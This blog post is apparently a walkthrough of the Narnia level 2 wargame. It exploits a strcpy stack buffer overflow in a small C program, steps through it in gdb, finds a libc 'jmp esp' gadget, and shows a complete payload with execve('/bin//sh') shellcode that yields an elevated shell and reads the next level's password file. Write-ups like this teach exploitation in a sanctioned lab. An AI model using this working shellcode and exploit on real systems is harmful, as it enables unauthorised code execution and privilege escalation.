Let's look at the source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; } |
It copies a supplied string (first parameter in command line) into buf[128].
Putting more than 128 bytes into buf will result in a buffer overflow.
We can overwrite the return address of the main function so we can control where EIP is redirect when the main function return.
The goal is to redirect EIP to the memory location of the argument we can control.
The basic scheme is to supply a argument that contains a shellcode (execve("/bin//sh") and the memory location where this shellcode resides.
Let's do it inside the GNU debugger (gdb) and use a buffer of 128 "A", followed by "BBBB", "CCCC" etc...
arnia2@narnia:~$ gdb /narnia/narnia2 GNU gdb (Debian 7.12-6) 7.12.0.20161007-git Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /narnia/narnia2...(no debugging symbols found)...done. (gdb) set args $(python -c 'print "A"*128 + "BBBB" + "CCCC" + "DDDD" + "EEEE"') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia2 $(python -c 'print "A"*128 + "BBBB" + "CCCC" + "DDDD" + "EEEE"') Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? ()
The argument overflows the buffer with the "CCCC" strings and it permits to control flow execution.
There are a some options available to exploit this overflow to run arbitrary code.
The main issue of this vulnerabilities is that we need to know where the buffer is located in memory.
One option is to guess where the shellcode will be located in memory: it will be on the stack but we don't know exactly the address before the real execution of the code.
We may need to guess the address by trying a reasonable address and repeat until we find the location of the buffer
This process can be easily repeated with a script and can be made more reliable by adding a NOP sled ("0x90") in front of the shellcode.
So the buffer can be "\x90" * 105 + 23-byte-shellcode + "BBBB" + "Guessed memory address".
A better approach is to use the JMP ESP tecnique, which only requires one try.
Getting back to gdb, we show the registers values and we look at memory content at the location pointed by ESP registers
(gdb) info registers eax 0x0 0 ecx 0x7fffff6f 2147483503 edx 0xf7fc6870 -134453136 ebx 0x0 0 esp 0xffffd660 0xffffd660 ebp 0x42424242 0x42424242 esi 0x2 2 edi 0xf7fc5000 -134459392 eip 0x43434343 0x43434343 eflags 0x10286 [ PF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/10x 0xffffd660 0xffffd660: 0x44444444 0x45454545 0xffffd700 0x00000000 0xffffd670: 0x00000000 0x00000000 0xf7fc5000 0xf7ffdc0c 0xffffd680: 0xf7ffd000 0x00000000
We find that, at the time of flow redirection, ESP points to the bytes in the buf just after the memory location we want to overwrite to modifiy the execution flow.
Why don't we find a way to execute a "jmp esp" instead of returning to an address that we don't know in advance? The exploit would be much more reliable and wouldn't require any guess.
The problem is to execute a "jmp esp" instead of redirecting execution.
We can do this by finding a "jmp esp" opcode (0xffe4) somewhere in memory with gdb (in the same session)
With the "info proc map" command we see the memory locations used by the process and we find the string 0xffe4 in the memory space where libc is loaded in the process:
We find such string at the memory location 0xf7fc4f97
(gdb) info proc map process 5536 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /narnia/narnia2 0x8049000 0x804a000 0x1000 0x0 /narnia/narnia2 0x804a000 0x806b000 0x21000 0x0 [heap] 0xf7e10000 0xf7e12000 0x2000 0x0 0xf7e12000 0xf7fc3000 0x1b1000 0x0 /lib32/libc-2.24.so 0xf7fc3000 0xf7fc5000 0x2000 0x1b0000 /lib32/libc-2.24.so 0xf7fc5000 0xf7fc6000 0x1000 0x1b2000 /lib32/libc-2.24.so 0xf7fc6000 0xf7fc9000 0x3000 0x0 0xf7fd2000 0xf7fd4000 0x2000 0x0 0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar] 0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso] 0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.24.so 0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.24.so 0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.24.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack] (gdb) find /b 0xf7fc3000, 0xf7fc5000, 0xff, 0xe4 0xf7fc4f97 1 pattern found. (gdb) x/wx 0xf7fc4f97 0xf7fc4f97: 0xfc5be4ff
If we repeat this multiple times we find that the address of libc and of "jmp esp"is always the same.
So we build a new shellcode that overwrite the return address with the location of "jmp esp" followed by a shellcode.
The initial part of the buffer can be filled with anything (like "A")
"A"*132 + "\x97\x4f\xfc\xf7" + execve-shellcode
narnia2@narnia:~$ /narnia/narnia2 $(python -c 'print "A"*132 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') $ id uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14002(narnia2) $ cat /etc/narnia_pass/narnia3 v*******e
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.